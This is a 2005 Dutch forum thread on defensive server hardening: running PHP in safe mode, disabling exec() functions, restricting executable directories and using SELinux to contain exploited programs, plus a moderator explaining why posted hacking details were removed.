Het veiligste lijkt me -indien er onbekende php scripts ge-upload en uitgevoerd kunnen worden- om in safemode te draaien, en alle exec()-gerelateerde functies uit te zetten. Op die manier zou een hack enkel mogelijk kunnen zijn als php zelf lek is/raakt.
Een alternatief kan zijn een separate dir aan te maken, en daar alle (bekende!) binaries in te zetten die users mogelijk nodig hebben vanuit php, en safe_mode_exec_dir op deze dir in te stellen. Daarnaast voorkomen dat php ooit wat in die map kan veranderen, of er nieuwe bestanden in kan zetten.
Mocht een user/hacker dan ooit een exploit kunnen uploaden via php, dan kan deze nooit uitgevoerd worden. (Maar: dan natuurlijk geen tools in deze map zetten die andere binaries kunnen aanroepen, want ik vermoed dat php enkel het programma controleert qua pad, en niet de parameters.)

donderdag 14 april 2005 18:44

Acties:

Gerco

Professional Newbie

Dat werkt inderdaad voor PHP ja, maar als je naar andere programmas kijkt heb je nog steeds hetzelfde probleem. Als er een bug in unreal tournament zit bijvoorbeeld waardoor een attacker code kan uitvoeren als de UT user, hoe kan ik er dan voor zorgen dat zijn toegang daartoe beperkt wordt.

Als hij een local root exploit kan starten ben ik natuurlijk zuur, maar op wat voor manier kan ik dat nu tegengaan (een bug in UT kan ik uiteraard niet oplossen, ik kan alleen proberen mezelf zo goed mogelijk tegen de gevolgen te beschermen, maar ik weet dus niet goed hoe).

- "Als ik zou willen dat je het begreep, legde ik het wel beter uit!" | All number systems are base 10!

donderdag 14 april 2005 18:46

Acties:

B-Man

Topicstarter

Gerco: volgens mij is dit een van de speerpunten van SecurityEnhanced Linux (SELinux), maar pin me er niet op vast. (http://www.nsa.gov/selinux/)

[ Voor 5% gewijzigd door B-Man op 14-04-2005 18:46 ]

woensdag 20 april 2005 11:36

Acties:

Verwijderd

Verwijderd schreef op woensdag 13 april 2005 @ 23:19:

Modbreak:Dit vind ik nou niet bepaald de bedoeling. Dat jij je hacking-skills op een bepaald niveau hebt is leuk voor je, maar ga hier in NOS nou geen mensen op slechte ideeen brengen!

ik bedoelde het eigenlijk ook meer voor security reasons, zodat mensen inzien hoe hun systeem gehacked kan worden

woensdag 20 april 2005 12:08

Acties:

Verwijderd

Verwijderd schreef op woensdag 20 april 2005 @ 11:36:
ik bedoelde het eigenlijk ook meer voor security reasons, zodat mensen inzien hoe hun systeem gehacked kan worden

Het probleem zit m erin dat er ook mensen met minder goede bedoelingen rondhangen in /23, en dat die mensen op slechte ideeen gebracht kunnen worden (/me kan zich nog een gevalletje scriptkiddie herrinneren een jaar of wat geleden). Daarom is het beleid hier om het niet toe te staan. Tevens, als je google een beetje onder de knie hebt, kun je de meest waanzinnige (cr|h)acking informatie vinden, dus is het ook niet nodig om dit hier te posten

[ Voor 7% gewijzigd door Verwijderd op 20-04-2005 12:10 ]